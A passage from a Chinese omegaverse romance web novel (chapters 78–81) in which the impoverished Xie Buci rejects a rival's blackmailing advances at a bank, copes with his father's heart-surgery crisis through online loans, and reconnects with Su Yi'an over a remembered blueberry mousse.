一开始回来重新与谢不辞接触的目标一定是明确的,只不过他们两个都是有想法的。 谁也不服谁,谁也控制不了谁。 以至于走到现在,他也不知道他在干什么。 其实说包养,还不给钱,两个人相看两厌,听起来挺蠢的。 “你别不爱听了,我跟你说的你好好考虑一下,这世界上alpha多了去了,为啥一定要在谢不辞这烂坯子身上吊死呢?” 方明之说的这些,苏以安很早之前就思考过。 在喝大了,又没完全失去意识的某个想谈恋爱的深夜里。 想着什么样的人才适合自己。 大概扒拉了一下,最后发现这世界上差不多所有男人都被pass了。 要不那么干净纯情的,他配不上人家。 要多多少少有点钱不至于让他和孩子挨饿受冻的,最好是人家能接受雪团是非亲生的孩子。 还要有分寸感有责任感不至于始乱终弃的。 或许这样的人存在,但苏以安没途径认识。 混艺术这口饭吃的,他能认识的不是圈子里的老板就是同行,最多再算上喝酒的那帮狐朋狗友。 所有人都挑一遍,也不见得能揪出一个能跟他凑合过的。 所以苏以安在等。 他把谢不辞轰走之前,真的寄希望于谢不辞没有动雪团账上的那笔钱。 如果人能做到这份上也不动儿子一分钱,说明对小家有绝对责任感。 谢不辞没有亏待过雪团。 在路上,他没吃饭也不会忘记要给雪团带吃的,没让孩子饿着。 再等等。 谢不辞有责任感的话,那凭借谢不辞对他的愧疚和不知道真假的喜欢,苏以安觉得,他家老二生的下来的话,他能不能活着谢不辞都不会亏待了他的孩子。 不会为钱丧良心。 而且硬要说的话,他跟谢不辞认识了这么多年,论渣,他俩真的彼此彼此。 只不过性别不一样,起点不一样。 今天天气不太好。 外面挺冷的,也看不见什么太阳,天气预报还说有大风。 苏以安看见谢不辞出去的时候只拿了门口挂着的一件大衣。 肯定不会不冷。 但他有点拉不下面子,刚说完让谢不辞出去就又喊人回来。 他给谢不辞发了消息,然后去楼道打开的窗户那里试了试外面的温度。 还行,没冷到有点吓人的那个程度。 苏以安重新给雪团穿好衣服,带着孩子到楼下,准备从附近转转,看看能不能碰到谢不辞。 下楼还没走多远,两个人就在小区小公园的长椅上看见了咬着半个馒头的谢不辞。 “你坐这干嘛?” 谢不辞抬头,把嘴里那吃了一半的馒头硬吞下去:“不是你让我出来的吗。” “……” 苏以安有点不知道怎么开口。 大冬天的,馒头从锅里拿出来,用不了十几分钟就凉了。 这个城市的馒头大多数都蒸的不好吃,不知道是不是苏以安的刻板印象,凉了就更难吃了。 “你跟那馒头房的老板是有什么过节吗,你都从他那买东西了,你坐在他店里吃会怎么样啊?” 谢不辞一愣。 他其实知道可以坐在人家店里吃,但是他觉得,用不了多久就吃完了,吃完正好可以回楼梯口待着。 等苏以安让他进家门。 结果没成想,这馒头凉得比他吃的快多了。 后面半个味道真的不怎么样。 而且盐加少了没什么味道,加多了又齁又噎人。 “是在这吃让你觉得有归属感吗。” “全身上下透露出流浪汉和乞丐的气质,没准面前放个碗,下顿就不愁了。” 谢不辞听得出来对方是在阴阳怪气,正准备反驳。 苏以安话锋一转:“怎么样,好吃吗,是不是比你吃泡面便宜了不少。” “嗯,可是真的难吃得要死。” 众所周知,在吃这方面受了委屈,人就容易持续性的心情低落。 “那能怎么办,一辈子挺短的,忍忍就过去了。” 第79章 第 79 章 那说的可真是太好了, 差点就把人劝活下来了。 “所以你下来干嘛了?” 两个嘴比命硬的东西凑一起,拼拼凑凑半天也搞不出一句实话来。 苏以安:“我觉得雪团没怎么见过楼下的风景,我带他过来看看。” 谢不辞没听出言外之意, 以为真的是雪团坐车时间太长想在外面透透气, 便认真嘱咐:“是你在带的话, 他应该会很好哄, 没必要真的出来。” “这天挺冷的, 孩子小容易感冒……” 话都说到这份上了,如果谢不辞有脑子的话,服个软说两句好听的,也就一家三口一块上楼了。 偏偏他没眼色,还听不出苏以安的言外之意。 “那我们回去了。” 闻言谢不辞也意识到了自己说错话,有点着急,但又找不到什么补救的方法。 他正犹豫着要不要跟上去的时候, 雪团趴在苏以安肩膀上看了他一眼,然后伸出小手朝他挥了挥:“爸爸,你回家不?” “回!” 有了名正言顺的理由, 谢不辞立马抓上他放在长椅上的馒头和盐, 小跑两步追上苏以安。 然后两人一前一后的保持着几步远的距离。 太远了怕苏以安把他关楼道里, 太近了又怕对方一高兴给他俩耳刮子。 毕竟进一步退一步都是苏以安能做得出来的事情。 其实谢不辞也不是白出来的,在长椅上啃干馒头的时候,他还悄悄搜了一下怎么做一个合格的情人。 不搜谢不辞真的没意识到,原来情人在他没注意过的地方,真的是某些omega谋生的职业。 那帖子里教了很多干货。 比如怎么在拿着两个老板钱且两个老板都要求在同一时间出席不同场合的情况下,让自己全身而退, 不得罪任何人。 比如在重要场合被老板身边的人羞辱要怎么放低姿态巧妙回话才能让大家面子上都过得去,不至于尴尬。 比如曾经的老板和现在的老板碰面, 面对曾经的老板阴阳怪气,要说些什么才能给现在的老板出口气,又不得罪原来的老板。 每一句话都是学问。 谢不辞觉得,挺扯淡的。 现实里根本不会有老板这么无聊。 但贴主有案例教学。 谢不辞哪怕只稍微扫一眼,就知道贴主说的全是真的。 代入一下他自己,他真的会像个斗鸡一样各种阴阳怪气,真的有标题上说的那么神经病。 然后谢不辞深刻反思了一下,决定换个关键词,把重点从小情人,换到alpha上。 换完了以后就发现,能搜到的东西屈指可数。 唯一有用的可能也就一句话:omega金主脾气阴晴不定,如果ta身边有小孩且ta对小孩的态度不差,请尽全力与小孩打好关系。 评论里还有人说,小孩帮忙事半功倍。 谢不辞感同身受。 这要是没有雪团喊他,凭借苏以安对他说一不二的性格,他天黑之前绝对不可能进家。 但进了家苏以安也只是没让他在外头冻着,他俩一句话也不说,就各玩各的手机。 还得一个在客厅玩一个在卧室玩。 后面谢夫人又给谢不辞打了电话,说他爸爸已经住院去了,蒋泽帮忙找好了医生,他不用再担心什么了,在外面注意身体。 人不会一直艰难的。 剩下的大半天时间一直相安无事,两个人同处一个空间,也没有交流。 精神压力总是体现在睡眠上。 谢不辞已经连着失眠了好几天。 不是不困,也不是不想睡,可躺在床上,脑子里总会冒出些不太好的想法。 就算有意控制,效果也微乎其微。 在正常人眼里,睡觉是件再容易不过的事情,这会谢不辞才体会到,好多年前在club门口台阶上,苏以安抽着烟用有些沙哑的声音跟他说出那番话时,有多崩溃。 原话是,已经发生的事情没有必要纠结吧,反复的回忆除了给自己增添烦恼,好像没什么别的作用,我可以原谅任何人,哪怕不会得到任何补偿,只要能让我睡个好觉就好。 睡个好觉就好。 那会应该年龄小,二十出头的年纪。 谢不辞还没吃过什么苦,他觉得苏以安好矫情。 睡觉不是身体本能吗,想睡就睡呗,有什么值得专门拿出来说一说的。 现在自己亲身经历一遍再回想,他都想给自己两巴掌。 那会的苏以安脾气真好,只是时不时跟他干一架,而没有一高兴就弄死他。 夜晚显得格外漫长。 要是让谢不辞五点钟起床,早上又黑又冷的,他会觉得这日子让他过得好苦,但如果是一晚上没睡着,五点钟出门,他就认为反正闲着也是闲着,还不如起来干点正事。 人的脑子有的时候真的很神奇。 第二天一早,谢不辞翻箱倒柜的找了半天,才薅出一套以前剩下的比较满意的西装。 见长辈类领导,要穿得正式一点,不能让人觉得你轻视了人家。 他留在自己这的西装都是不可说play买出来的,正装留在他家别墅。 现在谢不辞对着一柜子花花绿绿的颜色,连脑瓜仁子都有点不受控制的隐隐作痛。 他甚至不能共情年轻的自己。 就在他越翻越破防的时候,终于让他扒拉到了一件高中毕业那会他嫌看起来就老气横秋的——经典款西装。 黑的。 像抓住了救命稻草一样,幸亏他懒,没专门扔掉。 他也没心情思考好不好看便宜衣服会不会显得掉价了,把手机塞进西装口袋就匆匆拎着公文包出了门。 那银行的经理年纪不小,算是个重量级人物,以前跟谢不辞家交情挺好的,选在这么个当不当正不正的时间,也是不想让人知道卖谢不辞这个人情。 五点多,运气好的话,谢不辞跑快一点,还能赶上首班公交车。 他紧赶慢赶的跑到车站,然后亲眼见着外面的天从漆黑一片到出了太阳。 他运气更好,还赶上了早高峰的堵车。 约的是上班之前的时间,但谢不辞这一圈公交车倒下来,还迟到了一小时。 银行大厅里不少排队办业务的,同时说话的人很多,让谢不辞站在门口都不知道应该找谁问问。 见稍微有点头脸的人物,都是要预约的。 本来约上就很不容易,他还就这么水灵灵的迟到,毫不费力的把所有事情都搞砸。 谢不辞掏出手机,抱着最后一丝希望给提前约好的经理助理发了消息,然后在大厅一长串的椅子里,找了个空位坐下。 他都料定了对方不会回复他,却没想坐下还不到五分钟,手机屏幕就又亮了一下。 那助理给他的回复是:[经理说今天没空见您了,但他托了另一位比较有地位的人跟您详谈。] 可能也是看着谢不辞年轻,又忍不住多嘱咐了一句:[哪有约见还迟到的,下次再有见重要人物的机会可要规划好时间。] 谢不辞有点激动,一连发了好几个好的过去。 然后得到了用不了几分钟银行就会有专人来接他的消息。 他对着相机整理了下头发和衣领,跟着来接他的专员走进了银行专门设置的会客室。 这会客厅挺大的,里面没有人,只有正中间的大桌子上摆着很大一束红玫瑰。 “这是……?” 谢不辞在进门之前和专员确认了一下,专员低下头,没看谢不辞,只潦草解释:“只有这一个会客厅现在是空着的,您先坐在这等一会吧。” 他往里走了两步,会客室的门被关上。 整个密闭的空间就只剩谢不辞一个人。 他觉得不太对劲,但转念一想,银行外面有那么多人排队,也不好说是不是大客户很多。 谢不辞拉开椅子坐下。 从他的角度,刚好可以看见摆在那一大束玫瑰旁边看到一个大牌戒指盒。 那牌子谢不辞知道,他是老主顾了,以前在外面乱玩信口开河的时候没少买。 这就好像,他不合时宜的误入了人家哪个大老板哄小情人或者准备求婚的现场。 会客厅,挺好。 是个会玩的。 要是个年龄小的,这不得被迷死。 怕成为误入人家正式仪式的现场,谢不辞还有点坐立难安。 不过好在,助理说的那个人并没有让谢不辞在这等很久。 门很快就被推开,迎面朝谢不辞走过来一个染着雾霾蓝颜色头发,穿着破洞超短裤的…… 反正谢不辞第一眼看见的,就是站在他桌子前那双白花花的腿。 大冬天的,很难让人注意不到。 那人皮夹克上金属饰品哗啦哗啦的响。 对方从桌子那头绕到谢不辞面前,伸出一根手指抬起谢不辞的下巴,强迫谢不辞跟他对视,然后拉进两人之间的距离,用有些暧昧的声线开口:“一进来就盯着我的腿看,我就知道我这身衣服没穿错。” “还像吗现在。” 谢不辞有些不耐烦的扒拉开他的手,带着屁股底下的椅子往后挪了挪。 之前一直想找的时候凌望躲他跟躲瘟神似的,现在忽然出现一定没啥好事。 而且他这身衣服,谢不辞是眼熟的,只是想了半天也没想起到底在哪看见过。 结合凌望自己也知道他俩在一块玩的时候他是苏以安的替身,谢不辞最多猜到这身衣服苏以安可能有差不多的。 “我专门去买的和他一样的衣服,你都不愿意多看一眼?” “不过话说他可真掉价,连地摊货都穿。” 谢不辞对他没什么好印象,自然也就不想听他胡言乱语,于是不耐烦的皱着眉打断他说话:“你把我叫到这来到底想说什么?” 第80章 第 80 章 都到这份上了, 谢不辞也知道不可能是他运气特别好能约到这银行的经理。 是凌望想耍他,故意把他带到这来的。 而且桌子上的玫瑰和戒指盒估计也是专门给他布置的。 不过没好意思直奔主题,拉着他东扯西扯的说些没什么营养的东西。 “你怎么对我这么没有耐心?” 因为刚谢不辞为了躲开凌望带着椅子往后坐了一小截距离, 就刚好给凌望留下了发挥空间。 凌望顺势坐在谢不辞腿上, 伸手搭到谢不辞肩膀, 凑到他耳边轻声开口:“我都准备花了, 你还看不出来吗。” 谢不辞一阵恶寒, 跟触电似的,一下子从椅子上跳起来。 “你能不能别跟有病似的?” “我说哥们不行咱去精神科看看呢?我真觉得你不太正常,你们家也不至于请不来一个保密性好的大夫吧?” 这话已经说的很冒犯了,但凌望就像没听见一眼,淡定的起身,然后凑近谢不辞。 他走一步,谢不辞就往后推一步。 直到后背贴上墙面, 谢不辞才顺手拿起饮水机上面那一摞纸杯,挡在两人中间:“你别过来,咱俩都不是一个性别的, 有肢体接触不合适, 能不能有点分寸感?” 从某种程度上来讲, 凌望情绪也挺稳定的。 不管谢不辞多大反应,做出什么举动,他都不觉得意外且一点都没有要生气的意思。 他抬手给谢不辞整理了一下西装衣领,然后手指顺着领子滑到胸口停住。 “穿这么老的西装啊?” “他就没跟你表示表示?” 这个他,除了苏以安也代指不了别人。 而且在凌望的思维里,谢不辞还能人模狗样的, 就是苏以安没搭理他。 不然这么好的机会,随随便便报复一下, 谢不辞就无家可归了,哪有穿正装来这种地方的机会。 要么就是真在别人看不见的地方感情好的不得了,能让谢不辞表面上看起来光鲜亮丽。 不上不下卡在中间,只能用苏以安不稀得搭理谢不辞来解释。 “那不用你操心。” 谢不辞本身就不爱搭理凌望,这会还在被纠缠着说那些没有一个字是谢不辞爱听的内容,自然是连这个地方都不想再留:“你要是没话可说,我就走了。” “我不是说了吗,我都给你准备花了。” 凌望拿起放在鲜花旁边的那个小戒指盒,当着谢不辞的面打开。 躺在盒子里的是一对戒指,钻石都挺大一颗,是以前出去玩让谢不辞买,他得心疼死的程度。 “如果你喜欢的只是苏以安那张脸或者他那张说不出一句好话的嘴,那你完全可以把我当成他。” “我比他更有竞争优势。” “我没病,喜欢孩子我也可以生,我比他有钱有人脉,可以帮你东山再起。” 说到这里,谢不辞就已经听不下去了:“你打住。” 都不用猜,谢不辞就知道,后面凌望一定说得出更难听更戳谢不辞心窝子的话。 这不就是最典型的,谢不辞跟苏以安他俩一个也别想好的威胁吗。 “不爱听?” “好,那我换一种说法。” 凌望从宽大的外套口袋里掏出支票本和签字笔,递到谢不辞面前。 “想要多少钱你可以直接跟我说,只要我给的起,我都不会拒绝。” 这副高高在上的样子,让谢不辞莫名觉得恶心,他没接那支票本,也懒得继续跟凌望纠缠,径直朝着门外走。 不出所料的,凌望一把拽住谢不辞,出言威胁:“你现在得罪我,后面你就别想在圈子里混了!” “想想你心脏病住院的爸,你也不愿意看见大家撕破脸的场面对吧?” 亲人是绝大多数人的软肋,提起就是绝杀。 谢不辞身体僵硬了一下,随后转过身,与凌望面对面,朝他扯出了一个意味不明的笑,幽幽开口:“有本事你弄死我。” “别在这搞笑兄弟,我能怕你威胁?” “我是被吓大的呗?” 他都到这份上了,还能怕鱼死网破? 谢不辞这人,本身就脾气不好,现在更是好不到哪去,以前怕没钱怕过得不好,到这份上,早就进入光脚的不怕穿鞋的阶段了。 “谢不辞!” “你最好知道你在说什么!” 可能是谢不辞没按照他预料中的剧情走,凌望有些气急败坏,连带着说话的语速都变得急促。 这下改谢不辞满不在乎了:“知道啊。” “那又怎么样。” 凌望张了张嘴,还想再威胁他点什么,却没想谢不辞一点都不买账,转身就走。 只留下一个密闭的空间和离开时表达不满重重关门留下的撞击声。 从银行出来,谢不辞蹲在门口的楼梯上又点了支烟,随后掏出手机,一边骂一边点进某聊天软件:“妈的这孙子,浪费我好好的一上午时间。” “我就说他有神经病。” 谢不辞对着手机屏幕上显示的联系人,拉黑删除一套操作行云流水。 他抽完手上这支烟,看了一眼时间,又重新坐回需要倒车四次的公交,走上了回家的路。 踏进家门的那会,正好是午饭时间。 苏以安似乎有些意外他会回来,把雪团放进婴儿车里伸手拢了拢睡衣:“你不今天一整天都很忙吗?” “哦,现在是一整天都很闲了。” 谢不辞倒是没觉得多难过,甚至复盘一下想一想,他会在银行看见凌望,也是情理之中的事情。 他家都落魄成这样了,谁路过踩一脚都有可能,除了蒋泽,没有人帮他们。 那真有身份有权力的经理,咋可能会赏脸见他呢。 别的不说,就单纯怕他去借钱这一点,就得有多远躲多远。 一开始就是凌望花钱买通人家,为了见他给他下的套。 然后谢不辞一高兴把桌子掀了。 “没谈妥?” “嗯……没谈。” 苏以安没什么特别的反应,好像也并不意外谢不辞会碰壁:“那就不工作等我养着你喽?” “我怕你把我养死了。” 工作还是要规划一下继续的,只不过应该会比谢不辞跟凌望正面对着干要艰难许多。 等苏以安养活,谢不辞指不定什么时候就流落街头拿个破碗去乞讨了。 “怎么没谈的,讲讲?” 苏以安进厨房拿微波炉给谢不辞加热了个馒头,端到桌面上的时候,特意找小碟子给他放了半包方便面的调料粉:“哥请你,吃点奢侈的,顺便大冬天还让你吃上了口热乎的。” …… 谢不辞没敢说话。 那还真是,对他不是一星半点的好。 “我能不能再奢侈一点吃个方便面?” “你交代完了我就考虑一下。” 这没什么好交代的,两句话都能说完他今天一上午的经历。 起了个大早去银行,想见银行经理,迟到了,见到了凌望,俩人平和的干了一架,他就回家了。 但谢不辞没有讲凌望的名字。 说完苏以安就觉得他敷衍,还把刚热好的馒头掰走了一半。 留着拿着一半馒头的谢不辞和坐在桌子对面婴儿车里的雪团面面相觑。 雪团看了看谢不辞,又看了看自己手里拿着的饼干盒,动作生疏的从盒里倒出两块小饼干,然后皱着表情跟谢不辞嘱咐:“爸爸你怎么总惹我爸爸生气。” 谢不辞虽然看不见自己的表情,但大概可以猜到什么样子。 三分疑惑三分无语四分不可思议。 “那是我惹他生气了吗??” 雪团叹了口气,开始教育谢不辞:“你就不能让我省点心吗。” “你要是再这个样子,我就不帮你了。” 说完就把手里的小饼干盒递到谢不辞手里。 谢不辞犹豫了一下还是接了,只是雪团还没松手,苏以安就站在了两人面前。 谢不辞抬起头,有些胆怯的看向苏以安,接过饼干盒的手没有松开:“……不让吃啊?” “没有,雪团给你你就拿着。” 得到允许以后谢不辞也没跟雪团客套,留下一句那就行,便把饼干盒接过来。 吃了好几天馒头泡面,现在吃两口儿童钙奶饼干都能体会一把什么叫幸福。 后面苏以安去卧室换了身衣服,也没说要去干什么,扔下一句话就出了门:“不出去了就在家带孩子,奶粉在哪你知道,我晚上不回来吃,不许带孩子一块出门。” 没给谢不辞多问一个字的机会。 “你爸要干啥去你知道不?” 雪团回答得也实诚:“不知道。” “但是爸爸我可以告诉你一个秘密。” 谢不辞把孩子从婴儿车里抱出来,明知道这么点的小孩懂得也不多,却还是好奇他能说出什么来。 “是我爸爸让我把饼干给你的。” “嗯?” 雪团说不出特别复杂的句子来,也有跟苏以安相处久了的原因,说话大多数时候都是短句子。 谢不辞有点怀疑是不是他理解的那个意思,就又问了一遍:“你是说,你爸爸提前告诉你,让你把饼干给我吃?” “是的。” 这答案太出乎意料了,谢不辞反应了好久大脑才重新开始工作,然后继续问:“那是你爸爸让你告诉我的吗?” “不是。” “爸爸不让说。” 雪团的声音稚嫩,就给谢不辞一种谁说谎他都不可能说谎的安全感。 而且! 这不就是他老婆根本舍不得让他受苦在给他台阶下吗! 之前那么努力的想办法追老婆都没什么进展,现在忽然之间遭遇点小挫折还因祸得福的得到了他老婆的垂怜。 这把血赚。 谢不辞兴奋的把雪团举起来,在孩子脸上重重亲了一口:“好儿子,我就知道你肯定还是向着我的!” “下次有这种活动要提前告诉爸爸。” 不然他这么没有眼力见的,指不定错过多少能跟老婆接触的好机会。 谢不辞本来还担心的苏以安自己一个人出去指不定要被多少alpha搭讪,现在虽然也没有多放心,但知道了老婆心里有他,他就像个小花孔雀一样。 谢不辞掏出手机,准备给苏以安发消息过去探探口风。 毕竟人是一种喜欢蹬鼻子上脸的生物。 他发的都是没什么内容,回不回都可以的消息。 类似于在吗,你好,你现在有空闲时间吗,这种话术。 中间还穿插了几个看起来就有病的表情包。 因为他就是有点手欠,想在苏以安面前刷刷存在感,不敢真找事情把苏以安喊回来。 消息零零散散的发了十几条,就在他疑惑苏以安为什么没骂他的时候,他也就如愿以偿的收到了来自苏以安的回应—— 一个红色感叹号。 外加一句,您还不是对方好友的提示语。 80-83 第81章 第 81 章 嘿嘿, 被删了。 “宝啊,你爸他不爱理我,你有没有什么好方法?” 雪团先是侧过身看了谢不辞一眼, 然后沉默着按灭了他的手机屏幕。 甚至为了防止谢不辞太闲了没事干, 还伸出小手指了指客厅:“看电视。” 不过谢不辞没get到, 回问了一句:“你要看电视啊?” “小孩子看太久电视不好, 万一你长大了视力不好, 你爸怪到我头上怎么办。” …… 雪团急得组织了半天语言才说出话来,还只有简短的四个字:“你看电视。” “我看什么电视?” 话都问出来了谢不辞才后知后觉的反应过来,他家小孩这是让他闲着没事看会电视,少整没有用的。 “爸爸你真的很无聊。” 雪团不说,谢不辞还没有意识到,他家孩子不知道从什么时候开始,说话虽然简短, 但与任何人交流都不费劲。 可以听得懂大部分大人话中的含义,还连他很无聊这种话都会讲。 这要不是他的孩子,谢不辞肯定觉得小孩挺聪明挺好玩, 上赶着想逗一逗。 他家孩子的话…… “你这小词都是谁教你的?” 雪团也没避讳, 眨巴眨巴眼睛特别无辜的回复:“我爸爸不让我告诉你。” 谢不辞:? “你刚才说的你爸也不让你告诉我, 你咋这样,我又不会告诉你爸爸你跟我讲了,悄悄告诉我就行。” 这会雪团又不吃他这一套了,重复了一遍刚才那句话就转过身不看谢不辞,无论谢不辞怎么忽悠都不理他。 觉得继续纠缠下去雪团该嫌他烦了,谢不辞索性就给他找了玩具让他自己玩。 他坐在孩子旁边, 抱着电脑研究新公司的项目方案。 其实项目本身是没有问题的,市场前景也很好, 是个成本不太高又能挣点小钱的好风口。 他现在卡就卡在了,没有钱,也找不到投资人来跟他合作的节点。 富人圈就是这样的,有钱才有朋友,有钱才有人听你说话。 不是没有交情特别好特别仗义的,但救急不救穷。 他爸生重病,蒋泽跟他这么多年的好兄弟,愿意帮他一把,借了他钱让他爸先住院。 可领域不同,人家没必要投资你的项目。 因为去饭店刷盘子一样可以养活自己,怎么都不至于饿死,哪个老板都不会干出脑子抽了就看你可怜多留意一眼你的项目这种事情。 下午的时间消磨得挺快的。 苏以安是在将近十一点回来的。 他回来的时候雪团早就被谢不辞哄睡了,开门声音不大,也没有把孩子吵醒。 回来以后苏以安脱掉带着寒气的衣服,走进来一言不发的把孩子从谢不辞怀里抱走。 “去做什么了这么晚才回来。” “做鸭。” 听见这话夹枪带棒的,谢不辞就知道这会他心情很差,自己最好不要多嘴往他枪口上撞。 万一哪句话说错了,他可就是那替人挨打的倒霉鬼了。 “早点睡,晚安。” 苏以安没搭理谢不辞,只抱着孩子进了卧室,轻轻关上了房门。 听见关门声,谢不辞才掏出手机,发消息给方明之,问对方知不知道苏以安去干嘛了,为什么一回来就跟吃了炸药一样。 A国那边跟这里有时差,谢不辞也没期望方明之能发了就回他。 只是人还是很焦虑,谢不辞自己也知道,这个晚上,八成又是睡不着的。 今天晚上天气挺好的。 月亮和星星都很亮,柔和的光线透过窗户照进来,就算不开灯,谢不辞躺在挨着阳台的沙发上,也不觉得哪里暗。 这样光打在身上的氛围,让他莫名有一种,已经看见光了,要不了多久就能熬出头了的感觉。 有希望总是好的。 后面几天谢不辞都过得浑浑噩噩的,找不到投资,手里压着的项目任何事情都需要自己亲力亲为。 甚至他都已经把所有需要做的工作都磨得几乎算得上完美了,也还是有缺钱这个最致命的问题。 早出晚归的过了许多天,依旧一筹莫展,难免让人挫败。 谢不辞回到家躺在沙发上,呆呆的望向天花板。 苏以安说包养他,也给了他点钱,起码生活费是够用的。 让他吃了三天馒头沾食用盐估计是想给他点颜色看看,过后不会亏待他,但也没有帮他。 能做到这个份上,谢不辞挺佩服他的。 实话讲,如果身份立场对调,他一定选择再加点筹码断人活路。 平平稳稳的度过了几天,谢不辞开始越来越没有危机感,每天还在早出晚归,却因为没有催到头上来的债主而松弛。 然而不出意外就一定得出点意外—— 谢不辞接到了他妈妈打来的,说他爸病危的电话。 他给苏以安发了个消息,就买票回了老家。 他从车站出去以后,直接打车到了他爸所在的医院。 手术室门前人来人往。 谢不辞再看见他妈妈的时候,那个印象里一直光鲜亮丽又心态年轻得像小孩一样的妈妈,就在这短短十几天的时间里,面容憔悴,长了不少白头发。 谢夫人刚看见朝她跑来的谢不辞,还没来得及说话,手术室里就有带着口罩的护士走出来。 又是下病危通知书。 这已经是这场手术下的第二次病危通知书了。 第一次的时候谢不辞还没到,但是他妈妈给他打电话的时候,他听见了她压抑着的抽泣声。 谢不辞说不出来这应该是什么心情。 他从小就知道,钱和权力基本代表着一切。 但他现在没有能力,也许连他爸住两天icu的钱都出不起。 他和谢夫人坐在医院的长椅上,谁也没说话。 谢不辞把揽住他妈妈的肩膀,安抚性的拍了拍,除了这些,他也不太确定自己还能给这个家做什么。 后续是他爸的手术挺成功的,人也救回来了。 谢不辞盯着那一长串的检查数据,不知道该不该松口气。 这样活着,他爸肯定也很难受,而且撑过了这次,下次呢。 他之前和苏以安去医院查他家有没有老二的时候,苏以安就说过。 不知道这样做是不是对的,没法去询问他爸爸愿不愿意就这样活着,也知道如果他爸知道他这样挣钱,会不会觉得是自己拖累了他。 这下谢不辞也感同身受了一回。 作为子女,几乎都会做出大差不差的选择。 人一定要救,钱一定要凑。 谢不辞看了一眼苏以安的聊天框,点进去才发现,对方其实很早之前就回复了他,只不过手机没有弹出提示。 苏以安发过来的原消息只有简短的一句话:[医院地址发我。] 谢不辞不知道说什么,只能干巴巴的回问:[你要过来看看吗?] 这下是秒回的:[嗯,带雪团一起去。] 都说到这个份上了,谢不辞知道苏以安在盯着聊天窗口,索性也就想说什么都一起说了,省的后面还需要专门找时间交流:[你找个合适的时间,把雪团户口放到你自己名下,他现在跟着你比跟着我好多了。] 这条消息发完以后,苏以安很久都没回他。 他不清楚苏以安是什么心思,现在也没有脑子去思索苏以安到底怎么想。 谢不辞在他妈收拾病房的这段时间里,把手机上各种能借贷款的软件都下了一遍,也所有能借钱的地方都薅了点出来。 虽然可能还是不够他爸治病,但起码目前应急是够的。 各种途径都接触一下,保不齐他运气好就真让他找到高利贷了呢。 谢不辞把他从手机上借出来的钱都转给了他妈。 这点钱搁以前,谢不辞一晚上不到就能挥霍完,不过今非昔比,现在借到了钱今天晚上他就不用愁了。 好歹喘口气,能安慰自己明天的事情明天再说。 从医生办公室离开,谢不辞在走廊徘徊许久,才选择进了病房。 他不想看见他妈妈的眼泪,他妈妈同样也不愿意让他看见自己狼狈的样子。 双方都需要时间调整。 只是出乎他意料的是,他推门进去,病房内安安静静,一个人都没有。 刚想出去找找,迎面就撞上了抱着雪团走在前面的谢夫人,雪团咿咿呀呀的不知道在说什么,哄得谢夫人这么多天头一次能看见笑脸。 苏以安在身后默默跟着。 谢夫人带着孩子进了病房:“小苏说有话问你,你俩出去谈谈。” 谢不辞愣愣应下,然后两人并排坐在走廊的长椅上。 他原想先跟苏以安寒暄两句,问问怎么来的,这边天气又湿又冷,苏以安会不会不适应。 不过苏以安没给他这个机会,一上来就直奔主题:“叔叔这次看病需要多少钱?” 谢不辞有些意外,但还是老老实实的好好回答:“也没差多少钱,我转给我妈了,不用麻烦你。” 现在已经很晚了,加上附近都是单人病房,走廊里的灯也比较暗,几乎没什么人出来走动。 他们交谈,也仅用只有他们两个人能听见的声音。 “哪来的钱?” 借贷款这个事情,谢不辞觉得不太光彩,也不知道该怎么含糊过去,索性就没接话。 苏以安也没在意他是什么态度,从一直拿在手边的包里翻出了一块包装精致的甜品,递到谢不辞手上。 谢不辞愣愣的接过,有些不解的偏过头望向苏以安。 “不记得了?” 闻言谢不辞仔细观察了一下手里的甜品。 是个蓝莓慕斯。 这么冷的天,一点都没有化掉,光是拎起来,就不难想象它放在橱窗里待售的时候有多漂亮。 但谢不辞实在get不到苏以安是想让他通过这么个东西回忆什么。 “不记得也正常。” “我第一次见到你的时候,你带着墨镜,从你那奇形怪状的车上下来,我觉得你贼装,对你第一印象可差了。” “尤其是你经过我桌子,把我书碰掉以后第一句话不是对不起而是喜欢我的时候,你在我眼里好像那脑子有问题的。” …… 忽然提起这些,谢不辞还觉得挺难为情的。 高中那会,他自己都觉得他像个傻逼。 以为苏以安会埋汰他两句,但下一句话还挺出乎谢不辞意料的。 苏以安说:“我其实,在你给我制造出一系列的人际麻烦让我成为众矢之的之前,并不讨厌你。” “你跟我说完喜欢我以后,第二天我接到了医院电话,说我爸昨天晚上又被拉去抢救,让我尽快去医院缴费。” “那天去了趟医院,翻墙出去的,被老师记逃课。” 那个时候他们俩还不算很熟,谢不辞也完全不知道这码事。 但如果谢不辞没记错的话,当时好像那些趋炎附势的老师欺负苏以安欺负得还挺严重的。 “然后晚上回来,我就自己一个人缩在宿舍楼下墙角吹冷风,蒋泽给了我一块蓝莓慕斯,说是你带给我的,说吃甜食心情会变好一点。” “那一瞬间,我觉得你人也挺好的。” 谢不辞忽然觉得这慕斯挺重的。 这事别说他完全不知道了,那简直是跟他一点关系都没有啊,他从来没给蒋泽送过蛋糕,那会老直男,也想不到追人能送点小甜品增加好感。 然后军师替他做了,他还很巧妙的把这点好印象轻轻松松败光了。 “那是我第一次吃到这么好吃的小蛋糕。” “我不知道那个牌子叫什么,也买不到一模一样的了。” “……是不是同一个牌子,其实也不那么重要。” 如果谢不辞没记错的话,按他们高中的消费习惯和蒋泽经常去那几家店推算一下,一块蓝莓慕斯的价格应该是一百出头? 蒋泽当时还挺接地气的。 自己穷了一回才体会到,一百块钱买个巴掌大的小蛋糕,是有点贵。 他不知道应该怎么跟苏以安继续往下聊,但这一遭走下来,他忽然有些庆幸,庆幸自己终于与苏以安是同一类人了。 他们之间再也没了无法跨越的鸿沟。 “我也不是没想尽办法筹钱给我爸看病过,你不说我也知道你的钱是怎么来的。” “就那么几种途径,卖血卖身高利贷,选一个你稀罕的。” “钱这个东西,想想办法总会有的。” 苏以安沉默了一瞬,转身偏头看向谢不辞。 谢不辞挺不修边幅的,坐在走廊的长椅上,穿着皱皱巴巴的衣服,脸上还有没来得及刮的胡茬,像个流浪汉一样。 首先排除卖身。 卖血这个事情,说白了就是消耗生命。 卖血是不可能凑齐治心脏病的钱的,把人抽干了也够呛能买下一颗健康的心脏。 而且如果真的短时间内大量抽血,谢不辞不会有现在这个精神状态来跟他说话。 就剩高利贷了。 但高利贷,一般人接触不到。 需要那么大笔钱的,都不会是什么简单的人,再者说,能借很多钱的人,基本都集中在富人圈。 富人圈有歧视链。 基本不会存在想借给谢不辞钱的人。 谢不辞脾气不好,他跟他爸可完全不是一个做生意风格。 大家混在一起这么多年,没有直接接触也都是认识的,谁能乐意看谢不辞爬起来挨个点名啊。 